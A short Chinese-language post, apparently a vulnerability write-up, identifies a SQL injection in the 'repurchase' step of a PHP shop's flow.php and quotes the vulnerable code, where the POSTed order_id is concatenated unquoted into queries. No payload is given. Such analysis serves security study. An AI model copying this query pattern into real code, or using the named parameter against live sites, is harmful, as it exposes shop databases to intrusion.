配个环境来演示给别人看。。分析一下。flow.php文件缺陷,order_id在post请求没有单引号保护。造成注入
<?php elseif ($_REQUEST['step'] == 'repurchase') { include_once('includes/cls_json.php'); $order_id = strip_tags($_POST['order_id']); $order_id = json_str_iconv($order_id); $user_id = $_SESSION['user_id']; $json = new JSON; $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id); if (!$order) { $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']); die($json->encode($result)); } $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE); $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id); $result = array('error' => 0, 'message' => ''); foreach ($order_goods as $goods) { $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) { $result = false; $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']); } } die($json->encode($result)); }
